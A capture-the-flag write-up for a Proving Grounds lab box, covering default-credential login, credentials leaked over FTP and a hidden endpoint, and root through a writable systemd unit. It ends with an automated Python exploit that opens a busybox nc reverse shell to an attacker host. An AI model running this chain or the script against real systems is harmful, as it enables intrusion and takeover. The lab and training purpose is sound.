SpiderSociety
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Admin panel with defaultadmin/adminthat leaks FTP credentials in a modal ("New Message from Tech Dept"); FTP on 2121/TCP holds a copy of the web root withfetch_credentials.phppointing at a long "hidden" endpoint that exposes thespideySSH credentials; escalation via badly scoped systemd service (spiderbackup.servicewith anExecStartwritable by its owner plusdaemon-reload/restartin sudoers).
Recon#
Initial scan#
The reply's TTL already points at the operating system:
ping -c 1 192.168.191.21464 bytes from 192.168.191.214: icmp_seq=1 ttl=61 time=29.9 ms
A full port scan opens three ports, including an FTP on a non-standard port:
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.191.214PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 2121/tcp open ftp
nmap -p22,80,2121 -sCV 192.168.191.214PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 80/tcp open http Apache httpd 2.4.58 (title: Spider Society) 2121/tcp open ftp vsftpd 3.0.5
The 2121 FTP with vsftpd 3.0.5 is the first tell: it is not a standard port and typically means a second instance for a specific role (a backup, an internal endpoint).
HTTP - subdomain and paths#
The homepage carries an email with a domain: spidersociety.offsec.lab. Add it to /etc/hosts and enumerate routes:
dirsearch -u http://spidersociety.offsec.lab --exclude-status=404,403,503 -t 200 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txtTwo useful paths: /images/ and /libspider/. The latter hosts the admin panel.
Shell as spidey#
Default credentials → FTP in a modal#
/libspider/index.php accepts admin/admin without pushback.

Right after login a "New Message from Tech Dept" modal pops up with cleartext FTP credentials for a backup user. Classic embedded credentials in full view.
Username: ss_ftpbckuser
Password: ss_WeLoveSpiderSociety_From_Tech_Dept5937!FTP 2121 - recursive download#
wget -r ftp:// fetches the whole FTP: a backup of libspider/ with PHP source including fetch_credentials.php.
wget -r ftp://'ss_ftpbckuser':'ss_WeLoveSpiderSociety_From_Tech_Dept5937!'@'spidersociety.offsec.lab':2121/404.html images index.html libspider simple.py libspider: control-panel.php fetch-credentials.php index.php login.php logout.php users.php
fetch_credentials.php → hidden endpoint with SSH#
fetch_credentials.php does not carry secrets itself, but reveals a "hidden" URL (a long random-looking basename, security through obscurity) where the server keeps .env-style variables with the SSH credentials.

curl http://spidersociety.offsec.lab/libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenvDB_CONNECT_USER=spidey DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!
A hidden endpoint protects nothing: dirsearch with the right wordlist finds it, or (as here) the source itself reveals the path.
sshpass -p 'WithGreatPowerComesGreatSecurity99!' ssh spidey@192.168.191.214Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-48-generic x86_64) System information as of Thu Mar 12 01:09:05 AM UTC 2026 System load: 0.0 Processes: 165 Usage of /: 43.7% of 9.75GB Users logged in: 1 Memory usage: 12% IPv4 address for ens192: 192.168.191.214 Swap usage: 0% ... Last login: Thu Mar 12 01:09:28 2026 from 192.168.45.155 spidey@spidersociety:~$ cat local.txt && whoami && ip a && hostname 6731e8d5ae04cc7cfcca081e5d3ed86f spidey 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:50:56:9e:4c:1f brd ff:ff:ff:ff:ff:ff altname enp11s0 inet 192.168.191.214/24 brd 192.168.191.255 scope global ens192 valid_lft forever preferred_lft forever spidersociety
Privilege Escalation#
spiderbackup.service - spidey-owned ExecStart + sudo restart#
sudo -l paints the misconfigured writable systemd service pattern in full:
(ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudoThe unit file /etc/systemd/system/spiderbackup.service is owned by spidey (rw), runs as root, and its ExecStart=/usr/local/bin/spiderbackup.sh is the line to tamper with. Since the user has restart and daemon-reload in sudo without a password, they can edit the unit file, reload and start the service: the new ExecStart runs as root.
find / -name spiderbackup.service 2>/dev/null/etc/systemd/system/multi-user.target.wants/spiderbackup.service /etc/systemd/system/spiderbackup.service
ls -l /etc/systemd/system/multi-user.target.wants/spiderbackup.servicelrwxrwxrwx 1 root root 40 Apr 14 2025 /etc/systemd/system/multi-user.target.wants/spiderbackup.service -> /etc/systemd/system/spiderbackup.service
ls -l /etc/systemd/system/spiderbackup.service-rw-rw-r-- 1 spidey spidey 193 Apr 14 2025 /etc/systemd/system/spiderbackup.service
cat /etc/systemd/system/spiderbackup.service[Unit] Description=Spider Society Backup Service After=network.target [Service] Type=simple ExecStart=/usr/local/bin/spiderbackup.sh User=root Group=root [Install] WantedBy=multi-user.target
The ExecStart is pointed at a script of ours, and the script does the simplest thing that works here: SUID /bin/bash. First the unit file, edited by hand:
nano /etc/systemd/system/spiderbackup.servicecat /etc/systemd/system/spiderbackup.service[Unit] Description=Spider Society Backup Service After=network.target [Service] Type=simple ExecStart=/tmp/privesc.sh User=root Group=root [Install] WantedBy=multi-user.target
And then the script it now points at:
nano /tmp/privesc.sh; chmod +x /tmp/privesc.shcat /tmp/privesc.sh#!/bin/bash chmod u+s /bin/bash
With both pieces in place the unit gets reloaded and the service restarted, which are the two commands the sudo -l hands over:
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart spiderbackup.serviceThe sudoers !/bin/bash does not get in the way, because the ExecStart runs as root without ever going through sudo: the bit is set anyway, and bash -p makes use of it.
ls -l /bin/bash-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
bash -pbash-5.2# whoami root
Proof.txt#
bash-5.2# cat /root/proof.txt && whoami && ip a && hostname
0dafd69cc0d0033a2df72d2201d924a1
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:9e:f3:74 brd ff:ff:ff:ff:ff:ff
altname enp11s0
inet 192.168.191.214/24 brd 192.168.191.255 scope global ens192
valid_lft forever preferred_lft forever
spidersocietyAutomating the whole chain#
The entire sequence (default login on /libspider/, the FTP credentials in the modal, the recursive download, fetch_credentials.php, SSH and the sudo service restart) fits in a script. Nothing here hangs on a human decision, so it goes straight to a root shell:
cat spidersociety_autopwn.py#!/usr/bin/env python3
import sys, paramiko, ftplib, requests, threading, re, subprocess
from concurrent.futures import ThreadPoolExecutor
from bs4 import BeautifulSoup
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <rhost> <lhost> <lport>")
sys.exit(1)
rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
s = requests.Session()
def addDomain():
global base_url
r = requests.get(f"http://{rhost}")
soup = BeautifulSoup(r.text, "html.parser")
domain = re.search(r"@([\w.-]+\.[a-zA-Z]+)", soup.text).group(1)
base_url = f"http://{domain}/"
with open("/etc/hosts", "r") as f:
data = f.read()
if domain in data and rhost in data:
return
with open("/etc/hosts", "a") as f:
f.write(f"\n{rhost} {domain}\n")
def check_dir(dir): # Se recibe el valor dir de la función dirEnum
dir = dir.strip() # Se formatea el valor de dir para evitar que contenga un \n al final
url = f"{base_url}{dir}" # Se forma la url que se probará para ver si existe
try:
r = requests.get(url, timeout=5, allow_redirects=False) # Se realiza la petición evitando redirecciones para saber si es recurso o ruta
if r.status_code != 404: # Si el código de estado es diferente a 404 se muestra
return url # Devuelve la URL encontrada; executor.map recogerá este valor en el iterador results
except requests.RequestException: # Si ocurre un error de red (timeout, conexión fallida, etc.) se ignora
pass
def dirEnum():
wordlist = "./dir"
with open(wordlist) as f: # Se abre el diccionario en modo lectura
with ThreadPoolExecutor(max_workers=20) as executor: # Se crea un pool de 20 threads para ejecutar tareas en paralelo
results = executor.map(check_dir, f) # Se pasa dir a la función check_dir, se realiza la función y el resultado se almacena en results
urls = [u for u in results if u] # Recorre los resultados de results y a través de la variable u y se queda con los valores que no sean none
return urls # almacena los resultados válidos
def login(urls):
for url in urls:
r = s.get(url)
if "login" in r.text and "password" in r.text and "username" in r.text:
data = {
"username": "admin",
"password": "admin"
}
r = s.post(url + "/login.php", data=data)
return url
def fetchFtpCredentials(url):
r = s.get(url + "/fetch-credentials.php")
ftp_credentials = re.findall(r'"FTP_BACKUP_[^"]+":"([^"]+)"', r.text)
return ftp_credentials
def ftpFilesRetrieve(ftp_credentials):
ftp = ftplib.FTP()
ftp.connect(rhost, 2121)
ftp.login(ftp_credentials[0], ftp_credentials[1])
def walk():
for name in ftp.nlst():
if name in (".", ".."):
continue
try:
ftp.cwd(name)
walk()
ftp.cwd("..")
except:
try:
with open(name, "wb") as f:
ftp.retrbinary(f"RETR {name}", f.write)
except:
pass
walk()
ftp.quit()
with open("fetch-credentials.php") as f:
data = f.read()
match = re.search(r"__DIR__\s*\.\s*'([^']+)'", data)
if match:
secret_web_dir = match.group(1)
return secret_web_dir
def retrieveSSHPasswords(secret_web_dir):
r = s.get(base_url + "/libspider" + secret_web_dir)
ssh_credentials = [x.strip() for x in re.findall(r"DB_CONNECT_(?:USER|PASS)=(.+)", r.text)]
return ssh_credentials
def privesc(ssh_credentials):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(hostname=rhost, port=22, username=ssh_credentials[0], password=ssh_credentials[1])
commands = [
f"echo -e '#!/bin/bash\nbusybox nc {lhost} {lport} -e bash' > /tmp/privesc.sh",
"chmod +x /tmp/privesc.sh",
"sed 's|ExecStart=/usr/local/bin/spiderbackup.sh|ExecStart=/tmp/privesc.sh|' /etc/systemd/system/spiderbackup.service > /tmp/x && cat /tmp/x > /etc/systemd/system/spiderbackup.service",
"sudo systemctl daemon-reload",
"sudo systemctl restart spiderbackup.service"
]
for cmd in commands:
stdin, stdout, stderr = client.exec_command(cmd)
stdout.channel.recv_exit_status()
except Exception as e:
print("SSH error:", e)
finally:
client.close()
def listener():
print("\n[*] Waiting for reverse shell...")
subprocess.run([
"nc",
"-lvnp",
lport
])
if __name__=='__main__':
addDomain()
urls = dirEnum()
url = login(urls)
ftp_credentials = fetchFtpCredentials(url)
secret_web_dir= ftpFilesRetrieve(ftp_credentials)
ssh_credentials = retrieveSSHPasswords(secret_web_dir)
t = threading.Thread(target=listener)
t.start()
privesc(ssh_credentials)python3 spidersociety_autopwn.py 192.168.134.214 192.168.45.155 1111[*] Waiting for reverse shell ... listening on [any] 1111 ... connect to [192.168.45.155] from (UNKNOWN) [192.168.134.214] 48584 whoami root cat /root/proof.txt && whoami && ip a && hostname c8b0352dcdada63661b74c45c3d06a44 root 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:50:56:9e:c3:fc brd ff:ff:ff:ff:ff:ff altname enp11s0 inet 192.168.134.214/24 brd 192.168.134.255 scope global ens192 valid_lft forever preferred_lft forever spidersociety
The proof.txt does not match the manual run's because the box had been redeployed in between: on Proving Grounds the flags are regenerated on every deployment.
Attack chain#
Home + /etc/hosts
└─ /libspider/ admin/admin (default)
└─ FTP modal -> ss_ftpbckuser / ss_WeLoveSpiderSociety_From_Tech_Dept5937!
└─ FTP :2121 -> wget -r -> fetch_credentials.php
└─ .fuhfjkz...env -> spidey / WithGreatPowerComesGreatSecurity99!
└─ SSH -> local.txt
└─ sudo -l -> daemon-reload + restart spiderbackup.service
└─ ExecStart owned by spidey -> /tmp/privesc.sh -> rootLessons learned#
- Default credentials remain vector zero. Any deployment on a
*.labdomain that keepsadmin/adminis on the operator. - A modal, a tooltip or a
console.logwith credentials is the same leak surface: audit them like the rest. - Security through obscurity (long random endpoints) does not survive a source review: whoever reads the code reads the path.
- A systemd unit file with an owner-writable
ExecStartplus a sudo rule forrestarton that same service is a direct escalation. The unit file's owner is the effective new root. sudo -lwith!/bin/bash, !/bin/sh, ...is a cosmetic mitigation if the allowed binary can alter privileged behavior without spawning a shell; rewritingExecStartbypasses that list entirely.